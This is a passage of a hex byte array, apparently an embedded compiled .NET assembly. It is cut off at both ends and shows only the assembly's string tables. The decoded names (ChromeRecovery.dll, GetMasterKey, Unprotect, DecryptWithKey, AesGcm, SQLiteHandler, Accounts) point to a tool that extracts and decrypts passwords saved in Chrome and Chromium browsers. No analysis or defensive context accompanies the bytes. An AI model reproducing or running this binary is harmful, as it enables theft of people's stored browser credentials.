0x61, 0x72, 0x73, 0x68, 0x61, 0x6C,\n\t0x00, 0x44, 0x65, 0x63, 0x69, 0x6D, 0x61, 0x6C, 0x00, 0x63, 0x62, 0x4C,\n\t0x61, 0x62, 0x65, 0x6C, 0x00, 0x70, 0x62, 0x4C, 0x61, 0x62, 0x65, 0x6C,\n\t0x00, 0x62, 0x63, 0x72, 0x79, 0x70, 0x74, 0x2E, 0x64, 0x6C, 0x6C, 0x00,\n\t0x43, 0x68, 0x72, 0x6F, 0x6D, 0x65, 0x52, 0x65, 0x63, 0x6F, 0x76, 0x65,\n\t0x72, 0x79, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x50, 0x72, 0x6F, 0x67, 0x72,\n\t0x61, 0x6D, 0x00, 0x41, 0x65, 0x73, 0x47, 0x63, 0x6D, 0x00, 0x67, 0x65,\n\t0x74, 0x5F, 0x49, 0x74, 0x65, 0x6D, 0x00, 0x46, 0x69, 0x6C, 0x65, 0x53,\n\t0x79, 0x73, 0x74, 0x65, 0x6D, 0x00, 0x70, 0x68, 0x41, 0x6C, 0x67, 0x6F,\n\t0x72, 0x69, 0x74, 0x68, 0x6D, 0x00, 0x43, 0x68, 0x72, 0x6F, 0x6D, 0x69,\n\t0x75, 0x6D, 0x00, 0x72, 0x6F, 0x6F, 0x74, 0x5F, 0x6E, 0x75, 0x6D, 0x00,\n\t0x72, 0x6F, 0x77, 0x5F, 0x6E, 0x75, 0x6D, 0x00, 0x46, 0x69, 0x6C, 0x65,\n\t0x4F, 0x70, 0x65, 0x6E, 0x00, 0x4D, 0x61, 0x69, 0x6E, 0x00, 0x64, 0x77,\n\t0x49, 0x6E, 0x66, 0x6F, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6F, 0x6E, 0x00,\n\t0x67, 0x65, 0x74, 0x5F, 0x41, 0x70, 0x70, 0x6C, 0x69, 0x63, 0x61, 0x74,\n\t0x69, 0x6F, 0x6E, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x41, 0x70, 0x70, 0x6C,\n\t0x69, 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x00, 0x70, 0x73, 0x7A, 0x49,\n\t0x6D, 0x70, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x61, 0x74, 0x69, 0x6F,\n\t0x6E, 0x00, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2E, 0x52, 0x65, 0x66,\n\t0x6C, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x00, 0x4D, 0x61, 0x74, 0x63,\n\t0x68, 0x43, 0x6F, 0x6C, 0x6C, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x00,\n\t0x47, 0x72, 0x6F, 0x75, 0x70, 0x43, 0x6F, 0x6C, 0x6C, 0x65, 0x63, 0x74,\n\t0x69, 0x6F, 0x6E, 0x00, 0x43, 0x72, 0x79, 0x70, 0x74, 0x6F, 0x67, 0x72,\n\t0x61, 0x70, 0x68, 0x69, 0x63, 0x45, 0x78, 0x63, 0x65, 0x70, 0x74, 0x69,\n\t0x6F, 0x6E, 0x00, 0x43, 0x6F, 0x6D, 0x70, 0x61, 0x72, 0x65, 0x54, 0x6F,\n\t0x00, 0x70, 0x50, 0x61, 0x64, 0x64, 0x69, 0x6E, 0x67, 0x49, 0x6E, 0x66,\n\t0x6F, 0x00, 0x46, 0x69, 0x6C, 0x65, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D,\n\t0x49, 0x6E, 0x66, 0x6F, 0x00, 0x43, 0x6F, 0x6E, 0x73, 0x6F, 0x6C, 0x65,\n\t0x4B, 0x65, 0x79, 0x49, 0x6E, 0x66, 0x6F, 0x00, 0x44, 0x69, 0x72, 0x65,\n\t0x63, 0x74, 0x6F, 0x72, 0x79, 0x49, 0x6E, 0x66, 0x6F, 0x00, 0x5A, 0x65,\n\t0x72, 0x6F, 0x00, 0x47, 0x72, 0x6F, 0x75, 0x70, 0x00, 0x43, 0x68, 0x61,\n\t0x72, 0x00, 0x42, 0x43, 0x72, 0x79, 0x70, 0x74, 0x43, 0x6C, 0x6F, 0x73,\n\t0x65, 0x41, 0x6C, 0x67, 0x6F, 0x72, 0x69, 0x74, 0x68, 0x6D, 0x50, 0x72,\n\t0x6F, 0x76, 0x69, 0x64, 0x65, 0x72, 0x00, 0x42, 0x43, 0x72, 0x79, 0x70,\n\t0x74, 0x4F, 0x70, 0x65, 0x6E, 0x41, 0x6C, 0x67, 0x6F, 0x72, 0x69, 0x74,\n\t0x68, 0x6D, 0x50, 0x72, 0x6F, 0x76, 0x69, 0x64, 0x65, 0x72, 0x00, 0x70,\n\t0x72, 0x6F, 0x76, 0x69, 0x64, 0x65, 0x72, 0x00, 0x53, 0x74, 0x72, 0x69,\n\t0x6E, 0x67, 0x42, 0x75, 0x69, 0x6C, 0x64, 0x65, 0x72, 0x00, 0x4C, 0x6F,\n\t0x63, 0x61, 0x6C, 0x53, 0x74, 0x61, 0x74, 0x65, 0x46, 0x6F, 0x6C, 0x64,\n\t0x65, 0x72, 0x00, 0x53, 0x70, 0x65, 0x63, 0x69, 0x61, 0x6C, 0x46, 0x6F,\n\t0x6C, 0x64, 0x65, 0x72, 0x00, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x00,\n\t0x43, 0x6F, 0x6E, 0x76, 0x65, 0x72, 0x74, 0x54, 0x6F, 0x49, 0x6E, 0x74,\n\t0x65, 0x67, 0x65, 0x72, 0x00, 0x53, 0x51, 0x4C, 0x69, 0x74, 0x65, 0x48,\n\t0x61, 0x6E, 0x64, 0x6C, 0x65, 0x72, 0x00, 0x62, 0x72, 0x6F, 0x77, 0x73,\n\t0x65, 0x72, 0x00, 0x42, 0x69, 0x74, 0x43, 0x6F, 0x6E, 0x76, 0x65, 0x72,\n\t0x74, 0x65, 0x72, 0x00, 0x54, 0x6F, 0x4C, 0x6F, 0x77, 0x65, 0x72, 0x00,\n\t0x49, 0x45, 0x6E, 0x75, 0x6D, 0x65, 0x72, 0x61, 0x74, 0x6F, 0x72, 0x00,\n\t0x47, 0x65, 0x74, 0x45, 0x6E, 0x75, 0x6D, 0x65, 0x72, 0x61, 0x74, 0x6F,\n\t0x72, 0x00, 0x2E, 0x63, 0x74, 0x6F, 0x72, 0x00, 0x2E, 0x63, 0x63, 0x74,\n\t0x6F, 0x72, 0x00, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x00, 0x53, 0x79,\n\t0x73, 0x74, 0x65, 0x6D, 0x2E, 0x44, 0x69, 0x61, 0x67, 0x6E, 0x6F, 0x73,\n\t0x74, 0x69, 0x63, 0x73, 0x00, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2E,\n\t0x52, 0x75, 0x6E, 0x74, 0x69, 0x6D, 0x65, 0x2E, 0x49, 0x6E, 0x74, 0x65,\n\t0x72, 0x6F, 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x00,\n\t0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x2E, 0x56, 0x69,\n\t0x73, 0x75, 0x61, 0x6C, 0x42, 0x61, 0x73, 0x69, 0x63, 0x2E, 0x43, 0x6F,\n\t0x6D, 0x70, 0x69, 0x6C, 0x65, 0x72, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63,\n\t0x65, 0x73, 0x00, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2E, 0x52, 0x75,\n\t0x6E, 0x74, 0x69, 0x6D, 0x65, 0x2E, 0x43, 0x6F, 0x6D, 0x70, 0x69, 0x6C,\n\t0x65, 0x72, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x00, 0x44,\n\t0x65, 0x62, 0x75, 0x67, 0x67, 0x69, 0x6E, 0x67, 0x4D, 0x6F, 0x64, 0x65,\n\t0x73, 0x00, 0x4D, 0x61, 0x74, 0x63, 0x68, 0x65, 0x73, 0x00, 0x47, 0x65,\n\t0x74, 0x44, 0x69, 0x72, 0x65, 0x63, 0x74, 0x6F, 0x72, 0x69, 0x65, 0x73,\n\t0x00, 0x6D, 0x61, 0x73, 0x74, 0x65, 0x72, 0x5F, 0x74, 0x61, 0x62, 0x6C,\n\t0x65, 0x5F, 0x65, 0x6E, 0x74, 0x72, 0x69, 0x65, 0x73, 0x00, 0x47, 0x65,\n\t0x74, 0x41, 0x6C, 0x6C, 0x50, 0x72, 0x6F, 0x66, 0x69, 0x6C, 0x65, 0x73,\n\t0x00, 0x47, 0x65, 0x74, 0x54, 0x61, 0x62, 0x6C, 0x65, 0x4E, 0x61, 0x6D,\n\t0x65, 0x73, 0x00, 0x66, 0x69, 0x65, 0x6C, 0x64, 0x5F, 0x6E, 0x61, 0x6D,\n\t0x65, 0x73, 0x00, 0x47, 0x65, 0x74, 0x42, 0x79, 0x74, 0x65, 0x73, 0x00,\n\t0x64, 0x62, 0x5F, 0x62, 0x79, 0x74, 0x65, 0x73, 0x00, 0x64, 0x77, 0x46,\n\t0x6C, 0x61, 0x67, 0x73, 0x00, 0x66, 0x6C, 0x61, 0x67, 0x73, 0x00, 0x53,\n\t0x74, 0x72, 0x69, 0x6E, 0x67, 0x73, 0x00, 0x61, 0x72, 0x67, 0x73, 0x00,\n\t0x55, 0x74, 0x69, 0x6C, 0x73, 0x00, 0x43, 0x6F, 0x6E, 0x74, 0x61, 0x69,\n\t0x6E, 0x73, 0x00, 0x43, 0x6F, 0x6E, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6F,\n\t0x6E, 0x73, 0x00, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2E, 0x54, 0x65,\n\t0x78, 0x74, 0x2E, 0x52, 0x65, 0x67, 0x75, 0x6C, 0x61, 0x72, 0x45, 0x78,\n\t0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6F, 0x6E, 0x73, 0x00, 0x53, 0x79,\n\t0x73, 0x74, 0x65, 0x6D, 0x2E, 0x43, 0x6F, 0x6C, 0x6C, 0x65, 0x63, 0x74,\n\t0x69, 0x6F, 0x6E, 0x73, 0x00, 0x52, 0x65, 0x67, 0x65, 0x78, 0x4F, 0x70,\n\t0x74, 0x69, 0x6F, 0x6E, 0x73, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x47, 0x72,\n\t0x6F, 0x75, 0x70, 0x73, 0x00, 0x52, 0x75, 0x6E, 0x74, 0x69, 0x6D, 0x65,\n\t0x48, 0x65, 0x6C, 0x70, 0x65, 0x72, 0x73, 0x00, 0x4F, 0x70, 0x65, 0x6E,\n\t0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x53,\n\t0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x00, 0x41, 0x63, 0x63, 0x6F, 0x75,\n\t0x6E, 0x74, 0x73, 0x00, 0x45, 0x78, 0x69, 0x73, 0x74, 0x73, 0x00, 0x61,\n\t0x72, 0x72, 0x61, 0x79, 0x73, 0x00, 0x43, 0x6F, 0x6E, 0x63, 0x61, 0x74,\n\t0x00, 0x46, 0x6F, 0x72, 0x6D, 0x61, 0x74, 0x00, 0x53, 0x75, 0x62, 0x74,\n\t0x72, 0x61, 0x63, 0x74, 0x00, 0x68, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74,\n\t0x00, 0x63, 0x62, 0x4B, 0x65, 0x79, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74,\n\t0x00, 0x70, 0x62, 0x4B, 0x65, 0x79, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74,\n\t0x00, 0x55, 0x6E, 0x70, 0x72, 0x6F, 0x74, 0x65, 0x63, 0x74, 0x00, 0x46,\n\t0x69, 0x6C, 0x65, 0x47, 0x65, 0x74, 0x00, 0x52, 0x65, 0x61, 0x64, 0x54,\n\t0x61, 0x62, 0x6C, 0x65, 0x46, 0x72, 0x6F, 0x6D, 0x4F, 0x66, 0x66, 0x73,\n\t0x65, 0x74, 0x00, 0x53, 0x70, 0x6C, 0x69, 0x74, 0x00, 0x63, 0x62, 0x53,\n\t0x61, 0x6C, 0x74, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x44, 0x65, 0x66, 0x61,\n\t0x75, 0x6C, 0x74, 0x00, 0x70, 0x63, 0x62, 0x52, 0x65, 0x73, 0x75, 0x6C,\n\t0x74, 0x00, 0x64, 0x77, 0x49, 0x6E, 0x63, 0x72, 0x65, 0x6D, 0x65, 0x6E,\n\t0x74, 0x00, 0x73, 0x71, 0x6C, 0x5F, 0x73, 0x74, 0x61, 0x74, 0x65, 0x6D,\n\t0x65, 0x6E, 0x74, 0x00, 0x45, 0x6E, 0x76, 0x69, 0x72, 0x6F, 0x6E, 0x6D,\n\t0x65, 0x6E, 0x74, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x50, 0x61, 0x72, 0x65,\n\t0x6E, 0x74, 0x00, 0x47, 0x65, 0x74, 0x50, 0x61, 0x72, 0x65, 0x6E, 0x74,\n\t0x00, 0x67, 0x65, 0x74, 0x5F, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6E, 0x74,\n\t0x00, 0x63, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x00, 0x47, 0x65, 0x74,\n\t0x52, 0x6F, 0x77, 0x43, 0x6F, 0x75, 0x6E, 0x74, 0x00, 0x41, 0x63, 0x63,\n\t0x6F, 0x75, 0x6E, 0x74, 0x00, 0x42, 0x43, 0x72, 0x79, 0x70, 0x74, 0x00,\n\t0x42, 0x43, 0x72, 0x79, 0x70, 0x74, 0x44, 0x65, 0x63, 0x72, 0x79, 0x70,\n\t0x74, 0x00, 0x42, 0x43, 0x72, 0x79, 0x70, 0x74, 0x45, 0x6E, 0x63, 0x72,\n\t0x79, 0x70, 0x74, 0x00, 0x54, 0x72, 0x69, 0x6D, 0x53, 0x74, 0x61, 0x72,\n\t0x74, 0x00, 0x43, 0x6F, 0x6E, 0x76, 0x65, 0x72, 0x74, 0x00, 0x63, 0x62,\n\t0x49, 0x6E, 0x70, 0x75, 0x74, 0x00, 0x70, 0x62, 0x49, 0x6E, 0x70, 0x75,\n\t0x74, 0x00, 0x63, 0x62, 0x4F, 0x75, 0x74, 0x70, 0x75, 0x74, 0x00, 0x70,\n\t0x62, 0x4F, 0x75, 0x74, 0x70, 0x75, 0x74, 0x00, 0x4D, 0x6F, 0x76, 0x65,\n\t0x4E, 0x65, 0x78, 0x74, 0x00, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2E,\n\t0x54, 0x65, 0x78, 0x74, 0x00, 0x52, 0x65, 0x61, 0x64, 0x41, 0x6C, 0x6C,\n\t0x54, 0x65, 0x78, 0x74, 0x00, 0x63, 0x69, 0x70, 0x68, 0x65, 0x72, 0x54,\n\t0x65, 0x78, 0x74, 0x00, 0x63, 0x62, 0x4D, 0x61, 0x63, 0x43, 0x6F, 0x6E,\n\t0x74, 0x65, 0x78, 0x74, 0x00, 0x70, 0x62, 0x4D, 0x61, 0x63, 0x43, 0x6F,\n\t0x6E, 0x74, 0x65, 0x78, 0x74, 0x00, 0x69, 0x76, 0x00, 0x65, 0x6E, 0x64,\n\t0x49, 0x6E, 0x64, 0x65, 0x78, 0x00, 0x73, 0x74, 0x61, 0x72, 0x74, 0x49,\n\t0x6E, 0x64, 0x65, 0x78, 0x00, 0x52, 0x65, 0x67, 0x65, 0x78, 0x00, 0x49,\n\t0x6E, 0x69, 0x74, 0x69, 0x61, 0x6C, 0x69, 0x7A, 0x65, 0x41, 0x72, 0x72,\n\t0x61, 0x79, 0x00, 0x54, 0x6F, 0x41, 0x72, 0x72, 0x61, 0x79, 0x00, 0x43,\n\t0x6F, 0x70, 0x79, 0x41, 0x72, 0x72, 0x61, 0x79, 0x00, 0x67, 0x65, 0x74,\n\t0x5F, 0x4B, 0x65, 0x79, 0x00, 0x52, 0x65, 0x61, 0x64, 0x4B, 0x65, 0x79,\n\t0x00, 0x70, 0x68, 0x4B, 0x65, 0x79, 0x00, 0x44, 0x65, 0x63, 0x72, 0x79,\n\t0x70, 0x74, 0x57, 0x69, 0x74, 0x68, 0x4B, 0x65, 0x79, 0x00, 0x47, 0x65,\n\t0x74, 0x4D, 0x61, 0x73, 0x74, 0x65, 0x72, 0x4B, 0x65, 0x79, 0x00, 0x68,\n\t0x49, 0x6D, 0x70, 0x6F, 0x72, 0x74, 0x4B, 0x65, 0x79, 0x00, 0x42, 0x43,\n\t0x72, 0x79, 0x70, 0x74, 0x49, 0x6D, 0x70, 0x6F, 0x72, 0x74, 0x4B, 0x65,\n\t0x79, 0x00, 0x42, 0x43, 0x72, 0x79, 0x70, 0x74, 0x44, 0x65, 0x73, 0x74,\n\t0x72, 0x6F, 0x79, 0x4B, 0x65, 0x79, 0x00, 0x6B, 0x65, 0x79, 0x00, 0x53,\n\t0x79, 0x73, 0x74, 0x65, 0x6D, 0x2E, 0x53, 0x65, 0x63, 0x75, 0x72, 0x69,\n\t0x74, 0x79, 0x2E, 0x43, 0x72, 0x79, 0x70, 0x74, 0x6F, 0x67, 0x72, 0x61,\n\t0x70, 0x68, 0x79, 0x00, 0x4D, 0x75, 0x6C, 0x74, 0x69, 0x70, 0x6C, 0x79,\n\t0x00, 0x42, 0x6C, 0x6F, 0x63, 0x6B, 0x43, 0x6F, 0x70, 0x79, 0x00, 0x43,\n\t0x68, 0x72, 0x6F, 0x6D, 0x65, 0x52, 0x65, 0x63, 0x6F, 0x76, 0x65, 0x72,\n\t0x79, 0x00, 0x44, 0x69, 0x72, 0x65, 0x63, 0x74, 0x6F, 0x72, 0x79, 0x00,\n\t0x74, 0x61, 0x62, 0x6C, 0x65, 0x5F, 0x65, 0x6E, 0x74, 0x72, 0x79, 0x00,\n\t0x73, 0x71, 0x6C, 0x69, 0x74, 0x65, 0x5F, 0x6D, 0x61, 0x73, 0x74, 0x65,\n\t0x72, 0x5F, 0x65, 0x6E, 0x74, 0x72, 0x79, 0x00, 0x6F, 0x70, 0x5F, 0x45,\n\t0x71, 0x75, 0x61, 0x6C, 0x69, 0x74, 0x79, 0x00, 0x6F, 0x70, 0x5F, 0x49,\n\t0x6E, 0x65, 0x71, 0x75, 0x61, 0x6C, 0x69, 0x74, 0x79, 0x00, 0x53, 0x79,\n\t0x73, 0x74, 0x65, 0x6D, 0x2E, 0x53, 0x65, 0x63, 0x75, 0x72, 0x69, 0x74,\n\t0x79, 0x00, 0x49, 0x73, 0x4E, 0x75, 0x6C, 0x6C, 0x4F, 0x72, 0x45, 0x6D,\n\t0x70, 0x74, 0x79, 0x00, 0x42, 0x43, 0x72, 0x79, 0x70, 0x74, 0x53, 0x65,\n\t0x74, 0x41, 0x6C, 0x67, 0x6F, 0x72, 0x69, 0x74, 0x68, 0x6D, 0x50, 0x72,\n\t0x6F, 0x70, 0x65, 0x72, 0x74, 0x79, 0x00, 0x42, 0x43, 0x72, 0x79, 0x70,\n\t0x74, 0x47, 0x65, 0x74, 0x50, 0x72, 0x6F, 0x70, 0x65, 0x72, 0x74, 0x79,\n\t0x00, 0x42, 0x43, 0x72, 0x79, 0x70, 0x74, 0x53, 0x65, 0x74, 0x50, 0x72,\n\t0x6F, 0x70, 0x65, 0x72, 0x74, 0x79, 0x00, 0x70, 0x73, 0x7A, 0x50, 0x72,\n\t0x6F, 0x70, 0x65, 0x72, 0x74, 0x79, 0x00, 0x00, 0x00, 0x7D, 0x42, 0x00,\n\t0x43, 0x00, 0x72, 0x00, 0x79, 0x00, 0x70, 0x00, 0x74, 0x00, 0x2E, 0x00,\n\t0x42, 0x00, 0x43, 0x00, 0x72, 0x00, 0x79, 0x00, 0x70, 0x00, 0x74, 0x00,\n\t0x44, 0x00, 0x65, 0x00, 0x63, 0x00, 0x72, 0x00, 0x79, 0x00, 0x70, 0x00,\n\t0x74, 0x00, 0x28, 0x00, 0x29, 0x00, 0x20, 0x00, 0x28, 0x00, 0x67, 0x00,\n\t0x65, 0x00, 0x74, 0x00, 0x20, 0x00, 0x73, 0x00, 0x69, 0x00, 0x7A, 0x00,\n\t0x65, 0x00, 0x29, 0x00, 0x20, 0x00, 0x66, 0x00, 0x61, 0x00, 0x69, 0x00,\n\t0x6C, 0x00, 0x65, 0x00, 0x64, 0x00, 0x20, 0x00, 0x77, 0x00, 0x69, 0x00,\n\t0x74, 0x00, 0x68, 0x00, 0x20, 0x00, 0x73, 0x00, 0x74, 0x00, 0x61, 0x00,\n\t0x74, 0x00, 0x75, 0x00, 0x73, 0x00, 0x20, 0x00, 0x63, 0x00, 0x6F, 0x00,\n\t0x64, 0x00, 0x65, 0x00, 0x3A, 0x00, 0x20, 0x00, 0x7B, 0x00, 0x30, 0x00,\n\t0x7D, 0x00, 0x00, 0x67, 0x42, 0x00, 0x43, 0x00, 0x72, 0x00, 0x79, 0x00,\n\t0x70, 0x00, 0x74, 0x00, 0x2E, 0x00, 0x42, 0x00, 0x43, 0x00, 0x72, 0x00,\n\t0x79, 0x00, 0x70, 0x00, 0x74, 0x00, 0x44, 0x00, 0x65, 0x00, 0x63, 0x00,\n\t0x72, 0x00, 0x79, 0x00, 0x70, 0x00, 0x74, 0x00, 0x28, 0x00, 0x29, 0x00,\n\t0x3A, 0x00, 0x20, 0x00, 0x61, 0x00, 0x75, 0x00, 0x74, 0x00, 0x68, 0x00,\n\t0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x69, 0x00, 0x63, 0x00, 0x61, 0x00,\n\t0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x20, 0x00, 0x74, 0x00,\n\t0x61, 0x00, 0x67, 0x00, 0x20, 0x00, 0x6D, 0x00, 0x69, 0x00, 0x73, 0x00,\n\t0x6D, 0x00, 0x61, 0x00, 0x74, 0x00, 0x63, 0x00, 0x68, 0x00, 0x00, 0x65,\n\t0x42, 0x00, 0x43, 0x00, 0x72, 0x00, 0x79, 0x00, 0x70, 0x00, 0x74, 0x00,\n\t0x2E, 0x00, 0x42, 0x00, 0x43, 0x00, 0x72, 0x00, 0x79, 0x00, 0x70, 0x00,\n\t0x74, 0x00, 0x44, 0x00, 0x65, 0x00, 0x63, 0x00, 0x72, 0x00, 0x79, 0x00,\n\t0x70, 0x00, 0x74, 0x00, 0x28, 0x00, 0x29, 0x00, 0x20, 0x00, 0x66, 0x00,\n\t0x61, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x64, 0x00, 0x20, 0x00,\n\t0x77, 0x00, 0x69, 0x00, 0x74, 0x00, 0x68, 0x00, 0x20, 0x00, 0x73, 0x00,\n\t0x74, 0x00, 0x61, 0x00, 0x74, 0x00, 0x75, 0x00, 0x73, 0x00, 0x20, 0x00,\n\t0x63, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x65, 0x00, 0x3A, 0x00, 0x7B, 0x00,\n\t0x30, 0x00, 0x7D, 0x00, 0x00, 0x80, 0x81, 0x42, 0x00, 0x43, 0x00, 0x72,\n\t0x00, 0x79, 0x00, 0x70, 0x00, 0x74, 0x00, 0x2E, 0x00, 0x42, 0x00, 0x43,\n\t0x00, 0x72, 0x00, 0x79, 0x00, 0x70, 0x00, 0x74, 0x00, 0x4F, 0x00, 0x70,\n\t0x00, 0x65, 0x00, 0x6E, 0x00, 0x41, 0x00, 0x6C, 0x00, 0x67, 0x00, 0x6F,\n\t0x00, 0x72, 0x00, 0x69, 0x00, 0x74, 0x00, 0x68, 0x00, 0x6D, 0x00, 0x50,\n\t0x00, 0x72, 0x00, 0x6F, 0x00, 0x76, 0x00, 0x69, 0x00, 0x64, 0x00, 0x65,\n\t0x00, 0x72, 0x00, 0x28, 0x00, 0x29, 0x00, 0x20, 0x00, 0x66, 0x00, 0x61,\n\t0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x64, 0x00, 0x20, 0x00, 0x77,\n\t0x00, 0x69, 0x00, 0x74, 0x00, 0x68, 0x00, 0x20, 0x00, 0x73, 0x00, 0x74,\n\t0x00, 0x61, 0x00, 0x74, 0x00, 0x75, 0x00, 0x73, 0x00, 0x20, 0x00, 0x63,\n\t0x00, 0x6F, 0x00, 0x64, 0x00, 0x65, 0x00, 0x3A, 0x00, 0x7B, 0x00, 0x30,\n\t0x00, 0x7D, 0x00, 0x00, 0x80, 0xF1, 0x42, 0x00, 0x43, 0x00, 0x72, 0x00,\n\t0x79, 0x00, 0x70, 0x00, 0x74, 0x00, 0x2E, 0x00, 0x42, 0x00, 0x43, 0x00,\n\t0x72, 0x00, 0x79, 0x00, 0x70, 0x00, 0x74, 0x00, 0x53, 0x00, 0x65, 0x00,\n\t0x74, 0x00, 0x41, 0x00, 0x6C, 0x00, 0x67, 0x00, 0x6F, 0x00, 0x72, 0x00,\n\t0x69, 0x00, 0x74, 0x00, 0x68, 0x00, 0x6D, 0x00, 0x50, 0x00, 0x72, 0x00,\n\t0x6F, 0x00, 0x70, 0x00, 0x65, 0x00, 0x72, 0x00, 0x74, 0x00, 0x79, 0x00,\n\t0x28, 0x00, 0x42, 0x00, 0x43, 0x00, 0x72, 0x00, 0x79, 0x00, 0x70, 0x00,\n\t0x74, 0x00, 0x2E, 0x00, 0x42, 0x00, 0x43, 0x00, 0x52, 0x00, 0x59, 0x00,\n\t0x50, 0x00, 0x54, 0x00, 0x5F, 0x00, 0x43, 0x00, 0x48, 0x00, 0x41, 0x00,\n\t0x49, 0x00, 0x4E, 0x00, 0x49, 0x00, 0x4E, 0x00, 0x47, 0x00, 0x5F, 0x00,\n\t0x4D, 0x00, 0x4F, 0x00, 0x44, 0x00, 0x45, 0x00, 0x2C, 0x00, 0x20, 0x00,\n\t0x42, 0x00, 0x43, 0x00, 0x72, 0x00, 0x79, 0x00, 0x70, 0x00, 0x74, 0x00,\n\t0x2E, 0x00, 0x42, 0x00, 0x43, 0x00, 0x52, 0x00, 0x59, 0x00, 0x50, 0x00,\n\t0x54, 0x00, 0x5F, 0x00, 0x43, 0x00, 0x48, 0x00, 0x41, 0x00, 0x49, 0x00,\n\t0x4E, 0x00, 0x5F, 0x00, 0x4D, 0x00, 0x4F, 0x00, 0x44, 0x00, 0x45, 0x00,\n\t0x5F, 0x00, 0x47, 0x00, 0x43, 0x00, 0x4D, 0x00, 0x29, 0x00, 0x20, 0x00,\n\t0x66, 0x00, 0x61, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x64, 0x00,\n\t0x20, 0x00, 0x77, 0x00, 0x69, 0x00, 0x74, 0x00, 0x68, 0x00, 0x20, 0x00,\n\t0x73, 0x00, 0x74, 0x00, 0x61, 0x00, 0x74, 0x00, 0x75, 0x00, 0x73, 0x00,\n\t0x20, 0x00, 0x63, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x65, 0x00, 0x3A, 0x00,\n\t0x7B, 0x00, 0x30, 0x00, 0x7D, 0x00, 0x00, 0x69, 0x42, 0x00, 0x43, 0x00,\n\t0x72, 0x00, 0x79, 0x00, 0x70, 0x00, 0x74, 0x00, 0x2E, 0x00, 0x42, 0x00,\n\t0x43, 0x00, 0x72, 0x00, 0x79, 0x00, 0x70, 0x00, 0x74, 0x00, 0x49, 0x00,\n\t0x6D, 0x00, 0x70, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x74, 0x00, 0x4B, 0x00,\n\t0x65, 0x00, 0x79, 0x00, 0x28, 0x00, 0x29, 0x00, 0x20, 0x00, 0x66, 0x00,\n\t0x61, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x64, 0x00, 0x20, 0x00,\n\t0x77, 0x00, 0x69, 0x00, 0x74, 0x00, 0x68, 0x00, 0x20, 0x00, 0x73, 0x00,\n\t0x74, 0x00, 0x61, 0x00, 0x74, 0x00, 0x75, 0x00, 0x73, 0x00, 0x20, 0x00,\n\t0x63, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x65, 0x00, 0x3A, 0x00, 0x7B, 0x00,\n\t0x30, 0x00, 0x7D, 0x00, 0x00, 0x80, 0x83, 0x42, 0x00, 0x43, 0x00, 0x72,\n\t0x00, 0x79, 0x00, 0x70, 0x00, 0x74, 0x00, 0x2E, 0x00, 0x42, 0x00, 0x43,\n\t0x00, 0x72, 0x00, 0x79, 0x00, 0x70, 0x00, 0x74, 0x00, 0x47, 0x00, 0x65,\n\t0x00, 0x74, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x70, 0x00, 0x65,\n\t0x00, 0x72, 0x00, 0x74, 0x00, 0x79, 0x00, 0x28, 0x00, 0x29, 0x00, 0x20,\n\t0x00, 0x28, 0x00, 0x67, 0x00, 0x65, 0x00, 0x74, 0x00, 0x20, 0x00, 0x73,\n\t0x00, 0x69, 0x00, 0x7A, 0x00, 0x65, 0x00, 0x29, 0x00, 0x20, 0x00, 0x66,\n\t0x00, 0x61, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x64, 0x00, 0x20,\n\t0x00, 0x77, 0x00, 0x69, 0x00, 0x74, 0x00, 0x68, 0x00, 0x20, 0x00, 0x73,\n\t0x00, 0x74, 0x00, 0x61, 0x00, 0x74, 0x00, 0x75, 0x00, 0x73, 0x00, 0x20,\n\t0x00, 0x63, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x65, 0x00, 0x3A, 0x00, 0x7B,\n\t0x00, 0x30, 0x00, 0x7D, 0x00, 0x00, 0x6D, 0x42, 0x00, 0x43, 0x00, 0x72,\n\t0x00, 0x79, 0x00, 0x70, 0x00, 0x74, 0x00, 0x2E, 0x00, 0x42, 0x00, 0x43,\n\t0x00, 0x72, 0x00, 0x79, 